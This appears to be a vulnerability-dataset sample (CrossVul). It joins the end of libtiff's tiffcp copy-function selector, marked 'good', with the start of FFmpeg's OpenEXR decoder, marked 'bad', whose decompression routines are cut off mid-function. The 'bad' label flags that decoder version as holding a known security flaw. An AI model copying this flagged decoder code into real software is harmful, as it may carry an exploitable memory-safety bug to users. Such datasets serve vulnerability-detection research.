writeBufferToContigTiles, imagelength, imagewidth, spp); } /* * Contig tiles -> separate tiles. */ DECLAREcpFunc(cpContigTiles2SeparateTiles) { return cpImage(in, out, readContigTilesIntoBuffer, writeBufferToSeparateTiles, imagelength, imagewidth, spp); } /* * Separate tiles -> contig tiles. */ DECLAREcpFunc(cpSeparateTiles2ContigTiles) { return cpImage(in, out, readSeparateTilesIntoBuffer, writeBufferToContigTiles, imagelength, imagewidth, spp); } /* * Separate tiles -> separate tiles (tile dimension change). */ DECLAREcpFunc(cpSeparateTiles2SeparateTiles) { return cpImage(in, out, readSeparateTilesIntoBuffer, writeBufferToSeparateTiles, imagelength, imagewidth, spp); } /* * Contig tiles -> contig tiles (tile dimension change). */ DECLAREcpFunc(cpContigTiles2ContigStrips) { return cpImage(in, out, readContigTilesIntoBuffer, writeBufferToContigStrips, imagelength, imagewidth, spp); } /* * Contig tiles -> separate strips. */ DECLAREcpFunc(cpContigTiles2SeparateStrips) { return cpImage(in, out, readContigTilesIntoBuffer, writeBufferToSeparateStrips, imagelength, imagewidth, spp); } /* * Separate tiles -> contig strips. */ DECLAREcpFunc(cpSeparateTiles2ContigStrips) { return cpImage(in, out, readSeparateTilesIntoBuffer, writeBufferToContigStrips, imagelength, imagewidth, spp); } /* * Separate tiles -> separate strips. */ DECLAREcpFunc(cpSeparateTiles2SeparateStrips) { return cpImage(in, out, readSeparateTilesIntoBuffer, writeBufferToSeparateStrips, imagelength, imagewidth, spp); } /* * Select the appropriate copy function to use. */ static copyFunc pickCopyFunc(TIFF* in, TIFF* out, uint16 bitspersample, uint16 samplesperpixel) { uint16 shortv; uint32 w, l, tw, tl; int bychunk; (void) TIFFGetField(in, TIFFTAG_PLANARCONFIG, &shortv); if (shortv != config && bitspersample != 8 && samplesperpixel > 1) { fprintf(stderr, "%s: Cannot handle different planar configuration w/ bits/sample != 8\n", TIFFFileName(in)); return (NULL); } TIFFGetField(in, TIFFTAG_IMAGEWIDTH, &w); TIFFGetField(in, TIFFTAG_IMAGELENGTH, &l); if (!(TIFFIsTiled(out) || TIFFIsTiled(in))) { uint32 irps = (uint32) -1L; TIFFGetField(in, TIFFTAG_ROWSPERSTRIP, &irps); /* if biased, force decoded copying to allow image subtraction */ bychunk = !bias && (rowsperstrip == irps); }else{ /* either in or out is tiled */ if (bias) { fprintf(stderr, "%s: Cannot handle tiled configuration w/bias image\n", TIFFFileName(in)); return (NULL); } if (TIFFIsTiled(out)) { if (!TIFFGetField(in, TIFFTAG_TILEWIDTH, &tw)) tw = w; if (!TIFFGetField(in, TIFFTAG_TILELENGTH, &tl)) tl = l; bychunk = (tw == tilewidth && tl == tilelength); } else { /* out's not, so in must be tiled */ TIFFGetField(in, TIFFTAG_TILEWIDTH, &tw); TIFFGetField(in, TIFFTAG_TILELENGTH, &tl); bychunk = (tw == w && tl == rowsperstrip); } } #define T 1 #define F 0 #define pack(a,b,c,d,e) ((long)(((a)<<11)|((b)<<3)|((c)<<2)|((d)<<1)|(e))) switch(pack(shortv,config,TIFFIsTiled(in),TIFFIsTiled(out),bychunk)) { /* Strips -> Tiles */ case pack(PLANARCONFIG_CONTIG, PLANARCONFIG_CONTIG, F,T,F): case pack(PLANARCONFIG_CONTIG, PLANARCONFIG_CONTIG, F,T,T): return cpContigStrips2ContigTiles; case pack(PLANARCONFIG_CONTIG, PLANARCONFIG_SEPARATE, F,T,F): case pack(PLANARCONFIG_CONTIG, PLANARCONFIG_SEPARATE, F,T,T): return cpContigStrips2SeparateTiles; case pack(PLANARCONFIG_SEPARATE, PLANARCONFIG_CONTIG, F,T,F): case pack(PLANARCONFIG_SEPARATE, PLANARCONFIG_CONTIG, F,T,T): return cpSeparateStrips2ContigTiles; case pack(PLANARCONFIG_SEPARATE, PLANARCONFIG_SEPARATE, F,T,F): case pack(PLANARCONFIG_SEPARATE, PLANARCONFIG_SEPARATE, F,T,T): return cpSeparateStrips2SeparateTiles; /* Tiles -> Tiles */ case pack(PLANARCONFIG_CONTIG, PLANARCONFIG_CONTIG, T,T,F): case pack(PLANARCONFIG_CONTIG, PLANARCONFIG_CONTIG, T,T,T): return cpContigTiles2ContigTiles; case pack(PLANARCONFIG_CONTIG, PLANARCONFIG_SEPARATE, T,T,F): case pack(PLANARCONFIG_CONTIG, PLANARCONFIG_SEPARATE, T,T,T): return cpContigTiles2SeparateTiles; case pack(PLANARCONFIG_SEPARATE, PLANARCONFIG_CONTIG, T,T,F): case pack(PLANARCONFIG_SEPARATE, PLANARCONFIG_CONTIG, T,T,T): return cpSeparateTiles2ContigTiles; case pack(PLANARCONFIG_SEPARATE, PLANARCONFIG_SEPARATE, T,T,F): case pack(PLANARCONFIG_SEPARATE, PLANARCONFIG_SEPARATE, T,T,T): return cpSeparateTiles2SeparateTiles; /* Tiles -> Strips */ case pack(PLANARCONFIG_CONTIG, PLANARCONFIG_CONTIG, T,F,F): case pack(PLANARCONFIG_CONTIG, PLANARCONFIG_CONTIG, T,F,T): return cpContigTiles2ContigStrips; case pack(PLANARCONFIG_CONTIG, PLANARCONFIG_SEPARATE, T,F,F): case pack(PLANARCONFIG_CONTIG, PLANARCONFIG_SEPARATE, T,F,T): return cpContigTiles2SeparateStrips; case pack(PLANARCONFIG_SEPARATE, PLANARCONFIG_CONTIG, T,F,F): case pack(PLANARCONFIG_SEPARATE, PLANARCONFIG_CONTIG, T,F,T): return cpSeparateTiles2ContigStrips; case pack(PLANARCONFIG_SEPARATE, PLANARCONFIG_SEPARATE, T,F,F): case pack(PLANARCONFIG_SEPARATE, PLANARCONFIG_SEPARATE, T,F,T): return cpSeparateTiles2SeparateStrips; /* Strips -> Strips */ case pack(PLANARCONFIG_CONTIG, PLANARCONFIG_CONTIG, F,F,F): return bias ? cpBiasedContig2Contig : cpContig2ContigByRow; case pack(PLANARCONFIG_CONTIG, PLANARCONFIG_CONTIG, F,F,T): return cpDecodedStrips; case pack(PLANARCONFIG_CONTIG, PLANARCONFIG_SEPARATE, F,F,F): case pack(PLANARCONFIG_CONTIG, PLANARCONFIG_SEPARATE, F,F,T): return cpContig2SeparateByRow; case pack(PLANARCONFIG_SEPARATE, PLANARCONFIG_CONTIG, F,F,F): case pack(PLANARCONFIG_SEPARATE, PLANARCONFIG_CONTIG, F,F,T): return cpSeparate2ContigByRow; case pack(PLANARCONFIG_SEPARATE, PLANARCONFIG_SEPARATE, F,F,F): case pack(PLANARCONFIG_SEPARATE, PLANARCONFIG_SEPARATE, F,F,T): return cpSeparate2SeparateByRow; } #undef pack #undef F #undef T fprintf(stderr, "tiffcp: %s: Don't know how to copy/convert image.\n", TIFFFileName(in)); return (NULL); } /* vim: set ts=8 sts=8 sw=8 noet: */ /* * Local Variables: * mode: c * c-basic-offset: 8 * fill-column: 78 * End: */
./CrossVul/dataset_final_sorted/CWE-787/c/good_5482_1
crossvul-cpp_data_bad_4485_0
/* * OpenEXR (.exr) image decoder * Copyright (c) 2006 Industrial Light & Magic, a division of Lucas Digital Ltd. LLC * Copyright (c) 2009 Jimmy Christensen * * B44/B44A, Tile, UINT32 added by Jokyo Images support by CNC - French National Center for Cinema * * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * FFmpeg is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with FFmpeg; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ /** * @file * OpenEXR decoder * @author Jimmy Christensen * * For more information on the OpenEXR format, visit: * http://openexr.com/ * * exr_half2float() is credited to Aaftab Munshi, Dan Ginsburg, Dave Shreiner. */ #include <float.h> #include <zlib.h> #include "libavutil/avassert.h" #include "libavutil/common.h" #include "libavutil/imgutils.h" #include "libavutil/intfloat.h" #include "libavutil/avstring.h" #include "libavutil/opt.h" #include "libavutil/color_utils.h" #include "avcodec.h" #include "bytestream.h" #if HAVE_BIGENDIAN #include "bswapdsp.h" #endif #include "exrdsp.h" #include "get_bits.h" #include "internal.h" #include "mathops.h" #include "thread.h" enum ExrCompr { EXR_RAW, EXR_RLE, EXR_ZIP1, EXR_ZIP16, EXR_PIZ, EXR_PXR24, EXR_B44, EXR_B44A, EXR_DWA, EXR_DWB, EXR_UNKN, }; enum ExrPixelType { EXR_UINT, EXR_HALF, EXR_FLOAT, EXR_UNKNOWN, }; enum ExrTileLevelMode { EXR_TILE_LEVEL_ONE, EXR_TILE_LEVEL_MIPMAP, EXR_TILE_LEVEL_RIPMAP, EXR_TILE_LEVEL_UNKNOWN, }; enum ExrTileLevelRound { EXR_TILE_ROUND_UP, EXR_TILE_ROUND_DOWN, EXR_TILE_ROUND_UNKNOWN, }; typedef struct EXRChannel { int xsub, ysub; enum ExrPixelType pixel_type; } EXRChannel; typedef struct EXRTileAttribute { int32_t xSize; int32_t ySize; enum ExrTileLevelMode level_mode; enum ExrTileLevelRound level_round; } EXRTileAttribute; typedef struct EXRThreadData { uint8_t *uncompressed_data; int uncompressed_size; uint8_t *tmp; int tmp_size; uint8_t *bitmap; uint16_t *lut; int ysize, xsize; int channel_line_size; } EXRThreadData; typedef struct EXRContext { AVClass *class; AVFrame *picture; AVCodecContext *avctx; ExrDSPContext dsp; #if HAVE_BIGENDIAN BswapDSPContext bbdsp; #endif enum ExrCompr compression; enum ExrPixelType pixel_type; int channel_offsets[4]; // 0 = red, 1 = green, 2 = blue and 3 = alpha const AVPixFmtDescriptor *desc; int w, h; int32_t xmax, xmin; int32_t ymax, ymin; uint32_t xdelta, ydelta; int scan_lines_per_block; EXRTileAttribute tile_attr; /* header data attribute of tile */ int is_tile; /* 0 if scanline, 1 if tile */ int is_luma;/* 1 if there is an Y plane */ GetByteContext gb; const uint8_t *buf; int buf_size; EXRChannel *channels; int nb_channels; int current_channel_offset; EXRThreadData *thread_data; const char *layer; enum AVColorTransferCharacteristic apply_trc_type; float gamma; union av_intfloat32 gamma_table[65536]; } EXRContext; /* -15 stored using a single precision bias of 127 */ #define HALF_FLOAT_MIN_BIASED_EXP_AS_SINGLE_FP_EXP 0x38000000 /* max exponent value in single precision that will be converted * to Inf or Nan when stored as a half-float */ #define HALF_FLOAT_MAX_BIASED_EXP_AS_SINGLE_FP_EXP 0x47800000 /* 255 is the max exponent biased value */ #define FLOAT_MAX_BIASED_EXP (0xFF << 23) #define HALF_FLOAT_MAX_BIASED_EXP (0x1F << 10) /** * Convert a half float as a uint16_t into a full float. * * @param hf half float as uint16_t * * @return float value */ static union av_intfloat32 exr_half2float(uint16_t hf) { unsigned int sign = (unsigned int) (hf >> 15); unsigned int mantissa = (unsigned int) (hf & ((1 << 10) - 1)); unsigned int exp = (unsigned int) (hf & HALF_FLOAT_MAX_BIASED_EXP); union av_intfloat32 f; if (exp == HALF_FLOAT_MAX_BIASED_EXP) { // we have a half-float NaN or Inf // half-float NaNs will be converted to a single precision NaN // half-float Infs will be converted to a single precision Inf exp = FLOAT_MAX_BIASED_EXP; if (mantissa) mantissa = (1 << 23) - 1; // set all bits to indicate a NaN } else if (exp == 0x0) { // convert half-float zero/denorm to single precision value if (mantissa) { mantissa <<= 1; exp = HALF_FLOAT_MIN_BIASED_EXP_AS_SINGLE_FP_EXP; // check for leading 1 in denorm mantissa while (!(mantissa & (1 << 10))) { // for every leading 0, decrement single precision exponent by 1 // and shift half-float mantissa value to the left mantissa <<= 1; exp -= (1 << 23); } // clamp the mantissa to 10 bits mantissa &= ((1 << 10) - 1); // shift left to generate single-precision mantissa of 23 bits mantissa <<= 13; } } else { // shift left to generate single-precision mantissa of 23 bits mantissa <<= 13; // generate single precision biased exponent value exp = (exp << 13) + HALF_FLOAT_MIN_BIASED_EXP_AS_SINGLE_FP_EXP; } f.i = (sign << 31) | exp | mantissa; return f; } static int zip_uncompress(EXRContext *s, const uint8_t *src, int compressed_size, int uncompressed_size, EXRThreadData *td) { unsigned long dest_len = uncompressed_size; if (uncompress(td->tmp, &dest_len, src, compressed_size) != Z_OK || dest_len != uncompressed_size) return AVERROR_INVALIDDATA; av_assert1(uncompressed_size % 2 == 0); s->dsp.predictor(td->tmp, uncompressed_size); s->dsp.reorder_pixels(td->uncompressed_data, td->tmp, uncompressed_size); return 0; } static int rle_uncompress(EXRContext *ctx, const uint8_t *src, int compressed_size, int uncompressed_size, EXRThreadData *td) { uint8_t *d = td->tmp; const int8_t *s = src; int ssize = compressed_size; int dsize = uncompressed_size; uint8_t *dend = d + dsize; int count; while (ssize > 0) { count = *s++; if (count < 0) { count = -count; if ((dsize -= count) < 0 || (ssize -= count + 1) < 0) return AVERROR_INVALIDDATA; while (count--) *d++ = *s++; } else { count++; if ((dsize -= count) < 0 || (ssize -= 2) < 0) return AVERROR_INVALIDDATA; while (count--) *d++ = *s; s++; } } if (dend != d) return AVERROR_INVALIDDATA; av_assert1(uncompressed_size % 2 == 0); ctx->dsp.predictor(td->tmp, uncompressed_size); ctx->dsp.reorder_pixels(td->uncompressed_data, td->tmp, uncompressed_size); return 0; } #define USHORT_RANGE (1 << 16) #define BITMAP_SIZE (1 << 13) static uint16_t reverse_lut(const uint8_t *bitmap, uint16_t *lut) { int i, k = 0; for (i = 0; i < USHORT_RANGE; i++) if ((i == 0) || (bitmap[i >> 3] & (1 << (i & 7)))) lut[k++] = i; i = k - 1; memset(lut + k, 0, (USHORT_RANGE - k) * 2); return i; } static void apply_lut(const uint16_t *lut, uint16_t *dst, int dsize) { int i; for (i = 0; i < dsize; ++i) dst[i] = lut[dst[i]]; } #define HUF_ENCBITS 16 // literal (value) bit length #define HUF_DECBITS 14 // decoding bit size (>= 8) #define HUF_ENCSIZE ((1 << HUF_ENCBITS) + 1) // encoding table size #define HUF_DECSIZE (1 << HUF_DECBITS) // decoding table size #define HUF_DECMASK (HUF_DECSIZE - 1) typedef struct HufDec { int len; int lit; int *p; } HufDec; static void huf_canonical_code_table(uint64_t *hcode) { uint64_t c, n[59] = { 0 }; int i; for (i = 0; i < HUF_ENCSIZE; ++i) n[hcode[i]] += 1; c = 0; for (i = 58; i > 0; --i) { uint64_t nc = ((c + n[i]) >> 1); n[i] = c; c = nc; } for (i = 0; i < HUF_ENCSIZE; ++i) { int l = hcode[i]; if (l > 0) hcode[i] = l | (n[l]++ << 6); } } #define SHORT_ZEROCODE_RUN 59 #define LONG_ZEROCODE_RUN 63 #define SHORTEST_LONG_RUN (2 + LONG_ZEROCODE_RUN - SHORT_ZEROCODE_RUN) #define LONGEST_LONG_RUN (255 + SHORTEST_LONG_RUN) static int huf_unpack_enc_table(GetByteContext *gb, int32_t im, int32_t iM, uint64_t *hcode) { GetBitContext gbit; int ret = init_get_bits8(&gbit, gb->buffer, bytestream2_get_bytes_left(gb)); if (ret < 0) return ret; for (; im <= iM; im++) { uint64_t l = hcode[im] = get_bits(&gbit, 6); if (l == LONG_ZEROCODE_RUN) { int zerun = get_bits(&gbit, 8) + SHORTEST_LONG_RUN; if (im + zerun > iM + 1) return AVERROR_INVALIDDATA; while (zerun--) hcode[im++] = 0; im--; } else if (l >= SHORT_ZEROCODE_RUN) { int zerun = l - SHORT_ZEROCODE_RUN + 2; if (im + zerun > iM + 1) return AVERROR_INVALIDDATA; while (zerun--) hcode[im++] = 0; im--; } } bytestream2_skip(gb, (get_bits_count(&gbit) + 7) / 8); huf_canonical_code_table(hcode); return 0; } static int huf_build_dec_table(const uint64_t *hcode, int im, int iM, HufDec *hdecod) { for (; im <= iM; im++) { uint64_t c = hcode[im] >> 6; int i, l = hcode[im] & 63; if (c >> l) return AVERROR_INVALIDDATA; if (l > HUF_DECBITS) { HufDec *pl = hdecod + (c >> (l - HUF_DECBITS)); if (pl->len) return AVERROR_INVALIDDATA; pl->lit++; pl->p = av_realloc(pl->p, pl->lit * sizeof(int)); if (!pl->p) return AVERROR(ENOMEM); pl->p[pl->lit - 1] = im; } else if (l) { HufDec *pl = hdecod + (c << (HUF_DECBITS - l)); for (i = 1 << (HUF_DECBITS - l); i > 0; i--, pl++) { if (pl->len || pl->p) return AVERROR_INVALIDDATA; pl->len = l; pl->lit = im; } } } return 0; } #define get_char(c, lc, gb) \ { \ c = (c << 8) | bytestream2_get_byte(gb); \ lc += 8; \ } #define get_code(po, rlc, c, lc, gb, out, oe, outb) \ { \ if (po == rlc) { \ if (lc < 8) \ get_char(c, lc, gb); \ lc -= 8; \ \ cs = c >> lc; \ \ if (out + cs > oe || out == outb) \ return AVERROR_INVALIDDATA; \ \ s = out[-1]; \ \ while (cs-- > 0) \ *out++ = s; \ } else if (out < oe) { \ *out++ = po; \ } else { \ return AVERROR_INVALIDDATA; \ } \ } static int huf_decode(const uint64_t *hcode, const HufDec *hdecod, GetByteContext *gb, int nbits, int rlc, int no, uint16_t *out) { uint64_t c = 0; uint16_t *outb = out; uint16_t *oe = out + no; const uint8_t *ie = gb->buffer + (nbits + 7) / 8; // input byte size uint8_t cs; uint16_t s; int i, lc = 0; while (gb->buffer < ie) { get_char(c, lc, gb); while (lc >= HUF_DECBITS) { const HufDec pl = hdecod[(c >> (lc - HUF_DECBITS)) & HUF_DECMASK]; if (pl.len) { lc -= pl.len; get_code(pl.lit, rlc, c, lc, gb, out, oe, outb); } else { int j; if (!pl.p) return AVERROR_INVALIDDATA; for (j = 0; j < pl.lit; j++) { int l = hcode[pl.p[j]] & 63; while (lc < l && bytestream2_get_bytes_left(gb) > 0) get_char(c, lc, gb); if (lc >= l) { if ((hcode[pl.p[j]] >> 6) == ((c >> (lc - l)) & ((1LL << l) - 1))) { lc -= l; get_code(pl.p[j], rlc, c, lc, gb, out, oe, outb); break; } } } if (j == pl.lit) return AVERROR_INVALIDDATA; } } } i = (8 - nbits) & 7; c >>= i; lc -= i; while (lc > 0) { const HufDec pl = hdecod[(c << (HUF_DECBITS - lc)) & HUF_DECMASK]; if (pl.len && lc >= pl.len) { lc -= pl.len; get_code(pl.lit, rlc, c, lc, gb, out, oe, outb); } else { return AVERROR_INVALIDDATA; } } if (out - outb != no) return AVERROR_INVALIDDATA; return 0; } static int huf_uncompress(GetByteContext *gb, uint16_t *dst, int dst_size) { int32_t src_size, im, iM; uint32_t nBits; uint64_t *freq; HufDec *hdec; int ret, i; src_size = bytestream2_get_le32(gb); im = bytestream2_get_le32(gb); iM = bytestream2_get_le32(gb); bytestream2_skip(gb, 4); nBits = bytestream2_get_le32(gb); if (im < 0 || im >= HUF_ENCSIZE || iM < 0 || iM >= HUF_ENCSIZE || src_size < 0) return AVERROR_INVALIDDATA; bytestream2_skip(gb, 4); freq = av_mallocz_array(HUF_ENCSIZE, sizeof(*freq)); hdec = av_mallocz_array(HUF_DECSIZE, sizeof(*hdec)); if (!freq || !hdec) { ret = AVERROR(ENOMEM); goto fail; } if ((ret = huf_unpack_enc_table(gb, im, iM, freq)) < 0) goto fail; if (nBits > 8 * bytestream2_get_bytes_left(gb)) { ret = AVERROR_INVALIDDATA; goto fail; } if ((ret = huf_build_dec_table(freq, im, iM, hdec)) < 0) goto fail; ret = huf_decode(freq, hdec, gb, nBits, iM, dst_size, dst); fail: for (i = 0; i < HUF_DECSIZE; i++) if (hdec) av_freep(&hdec[i].p); av_free(freq); av_free(hdec); return ret; } static inline void wdec14(uint16_t l, uint16_t h, uint16_t *a, uint16_t *b) { int16_t ls = l; int16_t hs = h; int hi = hs; int ai = ls + (hi & 1) + (hi >> 1); int16_t as = ai; int16_t bs = ai - hi; *a = as; *b = bs; } #define NBITS 16 #define A_OFFSET (1 << (NBITS - 1)) #define MOD_MASK ((1 << NBITS) - 1) static inline void wdec16(uint16_t l, uint16_t h, uint16_t *a, uint16_t *b) { int m = l; int d = h; int bb = (m - (d >> 1)) & MOD_MASK; int aa = (d + bb - A_OFFSET) & MOD_MASK; *b = bb; *a = aa; } static void wav_decode(uint16_t *in, int nx, int ox, int ny, int oy, uint16_t mx) { int w14 = (mx < (1 << 14)); int n = (nx > ny) ? ny : nx; int p = 1; int p2; while (p <= n) p <<= 1; p >>= 1; p2 = p; p >>= 1; while (p >= 1) { uint16_t *py = in; uint16_t *ey = in + oy * (ny - p2); uint16_t i00, i01, i10, i11; int oy1 = oy * p; int oy2 = oy * p2; int ox1 = ox * p; int ox2 = ox * p2; for (; py <= ey; py += oy2) { uint16_t *px = py; uint16_t *ex = py + ox * (nx - p2); for (; px <= ex; px += ox2) { uint16_t *p01 = px + ox1; uint16_t *p10 = px + oy1; uint16_t *p11 = p10 + ox1; if (w14) { wdec14(*px, *p10, &i00, &i10); wdec14(*p01, *p11, &i01, &i11); wdec14(i00, i01, px, p01); wdec14(i10, i11, p10, p11); } else { wdec16(*px, *p10, &i00, &i10); wdec16(*p01, *p11, &i01, &i11); wdec16(i00, i01, px, p01); wdec16(i10, i11, p10, p11); } } if (nx & p) { uint16_t *p10 = px + oy1; if (w14) wdec14(*px, *p10, &i00, p10); else wdec16(*px, *p10, &i00, p10); *px = i00; } } if (ny & p) { uint16_t *px = py; uint16_t *ex = py + ox * (nx - p2); for (; px <= ex; px += ox2) { uint16_t *p01 = px + ox1; if (w14) wdec14(*px, *p01, &i00, p01); else wdec16(*px, *p01, &i00, p01); *px = i00; } } p2 = p; p >>= 1; } } static int piz_uncompress(EXRContext *s, const uint8_t *src, int ssize, int dsize, EXRThreadData *td) { GetByteContext gb; uint16_t maxval, min_non_zero, max_non_zero; uint16_t *ptr; uint16_t *tmp = (uint16_t *)td->tmp; uint16_t *out; uint16_t *in; int ret, i, j; int pixel_half_size;/* 1 for half, 2 for float and uint32 */ EXRChannel *channel; int tmp_offset; if (!td->bitmap) td->bitmap = av_malloc(BITMAP_SIZE); if (!td->lut) td->lut = av_malloc(1 << 17); if (!td->bitmap || !td->lut) { av_freep(&td->bitmap); av_freep(&td->lut); return AVERROR(ENOMEM); } bytestream2_init(&gb, src, ssize); min_non_zero = bytestream2_get_le16(&gb); max_non_zero = bytestream2_get_le16(&gb); if (max_non_zero >= BITMAP_SIZE) return AVERROR_INVALIDDATA; memset(td->bitmap, 0, FFMIN(min_non_zero, BITMAP_SIZE)); if (min_non_zero <= max_non_zero) bytestream2_get_buffer(&gb, td->bitmap + min_non_zero, max_non_zero - min_non_zero + 1); memset(td->bitmap + max_non_zero + 1, 0, BITMAP_SIZE - max_non_zero - 1); maxval = reverse_lut(td->bitmap, td->lut); ret = huf_uncompress(&gb, tmp, dsize / sizeof(uint16_t)); if (ret) return ret; ptr = tmp; for (i = 0; i < s->nb_channels; i++) { channel = &s->channels[i]; if (channel->pixel_type == EXR_HALF) pixel_half_size = 1; else pixel_half_size = 2; for (j = 0; j < pixel_half_size; j++) wav_decode(ptr + j, td->xsize, pixel_half_size, td->ysize, td->xsize * pixel_half_size, maxval); ptr += td->xsize * td->ysize * pixel_half_size; } apply_lut(td->lut, tmp, dsize / sizeof(uint16_t)); out = (uint16_t *)td->uncompressed_data; for (i = 0; i < td->ysize; i++) { tmp_offset = 0; for (j = 0; j < s->nb_channels; j++) { channel = &s->channels[j]; if (channel->pixel_type == EXR_HALF) pixel_half_size = 1; else pixel_half_size = 2; in = tmp + tmp_offset * td->xsize * td->ysize + i * td->xsize * pixel_half_size; tmp_offset += pixel_half_size; #if HAVE_BIGENDIAN s->bbdsp.bswap16_buf(out, in, td->xsize * pixel_half_size); #else memcpy(out, in, td->xsize * 2 * pixel_half_size); #endif out += td->xsize * pixel_half_size; } } return 0; } static int pxr24_uncompress(EXRContext *s, const uint8_t *src, int compressed_size, int uncompressed_size, EXRThreadData *td) { unsigned long dest_len, expected_len = 0; const uint8_t *in = td->tmp; uint8_t *out; int c, i, j; for (i = 0; i < s->nb_channels; i++) { if (s->channels[i].pixel_type == EXR_FLOAT) { expected_len += (td->xsize * td->ysize * 3);/* PRX 24 store float in 24 bit instead of 32 */ } else if (s->channels[i].pixel_type == EXR_HALF) { expected_len += (td->xsize * td->ysize * 2); } else {//UINT 32 expected_len += (td->xsize * td->ysize * 4); } } dest_len = expected_len; if (uncompress(td->tmp, &dest_len, src, compressed_size) != Z_OK) { return AVERROR_INVALIDDATA; } else if (dest_len != expected_len) { return AVERROR_INVALIDDATA; } out = td->uncompressed_data; for (i = 0; i < td->ysize; i++) for (c = 0; c < s->nb_channels; c++) { EXRChannel *channel = &s->channels[c]; const uint8_t *ptr[4]; uint32_t pixel = 0; switch (channel->pixel_type) { case EXR_FLOAT: ptr[0] = in; ptr[1] = ptr[0] + td->xsize; ptr[2] = ptr[1] + td->xsize; in = ptr[2] + td->xsize; for (j = 0; j < td->xsize; ++j) { uint32_t diff = ((unsigned)*(ptr[0]++) << 24) | (*(ptr[1]++) << 16) | (*(ptr[2]++) << 8); pixel += diff; bytestream_put_le32(&out, pixel); } break; case EXR_HALF: ptr[0] = in; ptr[1] = ptr[0] + td->xsize; in = ptr[1] + td->xsize; for (j = 0; j < td->xsize; j++) { uint32_t diff = (*(ptr[0]++) << 8) | *(ptr[1]++); pixel += diff; bytestream_put_le16(&out, pixel); } break; case EXR_UINT: ptr[0] = in; ptr[1] = ptr[0] + s->xdelta; ptr[2] = ptr[1] + s->xdelta; ptr[3] = ptr[2] + s->xdelta; in = ptr[3] + s->xdelta; for (j = 0; j < s->xdelta; ++j) { uint32_t diff = ((uint32_t)*(ptr[0]++) << 24) | (*(ptr[1]++) << 16) | (*(ptr[2]++) << 8 ) | (*(ptr[3]++)); pixel += diff; bytestream_put_le32(&out, pixel); } break; default: return AVERROR_INVALIDDATA; } } return 0; } static void unpack_14(const uint8_t b[14], uint16_t s[16]) { unsigned short shift = (b[ 2] >> 2) & 15; unsigned short bias = (0x20 << shift); int i; s[ 0] = (b[0] << 8) | b[1]; s[ 4] = s[ 0] + ((((b[ 2] << 4) | (b[ 3] >> 4)) & 0x3f) << shift) - bias; s[ 8] = s[ 4] + ((((b[ 3] << 2) | (b[ 4] >> 6)) & 0x3f) << shift) - bias; s[12] = s[ 8] + ((b[ 4] & 0x3f) << shift) - bias; s[ 1] = s[ 0] + ((b[ 5] >> 2) << shift) - bias; s[ 5] = s[ 4] + ((((b[ 5] << 4) | (b[ 6] >> 4)) & 0x3f) << shift) - bias; s[ 9] = s[ 8] + ((((b[ 6] << 2) | (b[ 7] >> 6)) & 0x3f) << shift) - bias; s[13] = s[12] + ((b[ 7] & 0x3f) << shift) - bias; s[ 2] = s[ 1] + ((b[ 8] >> 2) << shift) - bias; s[ 6] = s[ 5] + ((((b[ 8] << 4) | (b[ 9] >> 4)) & 0x3f) << shift) - bias; s[10] = s[ 9] + ((((b[ 9] << 2) | (b[10] >> 6)) & 0x3f) << shift) - bias; s[14] = s[13] + ((b[10] & 0x3f) << shift) - bias; s[ 3] = s[ 2] + ((b[11] >> 2) << shift) - bias; s[ 7] = s[ 6] + ((((b[11] << 4) | (b[12] >> 4)) & 0x3f) << shift) - bias; s[11] = s[10] + ((((b[12] << 2) | (b[13] >> 6)) & 0x3f) << shift) - bias; s[15] = s[14] + ((b[13] & 0x3f) << shift) - bias; for (i = 0; i < 16; ++i) { if (s[i] & 0x8000) s[i] &= 0x7fff; else s[i] = ~s[i]; } } static void unpack_3(const uint8_t b[3], uint16_t s[16]) { int i; s[0] = (b[0] << 8) | b[1]; if (s[0] & 0x8000) s[0] &= 0x7fff; else s[0] = ~s[0]; for (i = 1; i < 16; i++) s[i] = s[0]; } static int b44_uncompress(EXRContext *s, const uint8_t *src, int compressed_size, int uncompressed_size, EXRThreadData *td) { const int8_t *sr = src; int stay_to_uncompress = compressed_size; int nb_b44_block_w, nb_b44_block_h; int index_tl_x, index_tl_y, index_out, index_tmp; uint16_t tmp_buffer[16]; /* B44 use 4x4 half float pixel */ int c, iY, iX, y, x; int target_channel_offset = 0; /* calc B44 block count */ nb_b44_block_w = td->xsize / 4; if ((td->xsize % 4) != 0) nb_b44_block_w++; nb_b44_block_h = td->ysize / 4; if ((td->ysize % 4) != 0) nb_b44_block_h++; for (c = 0; c < s->nb_channels; c++) { if (s->channels[c].pixel_type == EXR_HALF) {/* B44 only compress half float data */ for (iY = 0; iY < nb_b44_block_h; iY++) { for (iX = 0; iX < nb_b44_block_w; iX++) {/* For each B44 block */ if (stay_to_uncompress < 3) { av_log(s, AV_LOG_ERROR, "Not enough data for B44A block: %d", stay_to_uncompress); return AVERROR_INVALIDDATA; } if (src[compressed_size - stay_to_uncompress + 2] == 0xfc) { /* B44A block */ unpack_3(sr, tmp_buffer); sr += 3; stay_to_uncompress -= 3; } else {/* B44 Block */ if (stay_to_uncompress < 14) { av_log(s, AV_LOG_ERROR, "Not enough data for B44 block: %d", stay_to_uncompress); return AVERROR_INVALIDDATA; } unpack_14(sr, tmp_buffer); sr += 14; stay_to_uncompress -= 14; } /* copy data to uncompress buffer (B44 block can exceed target resolution)*/ index_tl_x = iX * 4; index_tl_y = iY * 4; for (y = index_tl_y; y < FFMIN(index_tl_y + 4, td->ysize); y++) { for (x = index_tl_x; x < FFMIN(index_tl_x + 4, td->xsize); x++) { index_out = target_channel_offset * td->xsize + y * td->channel_line_size + 2 * x; index_tmp = (y-index_tl_y) * 4 + (x-index_tl_x); td->uncompressed_data[index_out] = tmp_buffer[index_tmp] & 0xff; td->uncompressed_data[index_out + 1] = tmp_buffer[index_tmp] >> 8; } } } } target_channel_offset += 2; } else {/* Float or UINT 32 channel */ if (stay_to_uncompress < td->ysize * td->xsize * 4) { av_log(s, AV_LOG_ERROR, "Not enough data for uncompress channel: %d", stay_to_uncompress); return AVERROR_INVALIDDATA; } for (y = 0; y < td->ysize; y++) { index_out = target_channel_offset * td->xsize + y * td->channel_line_size; 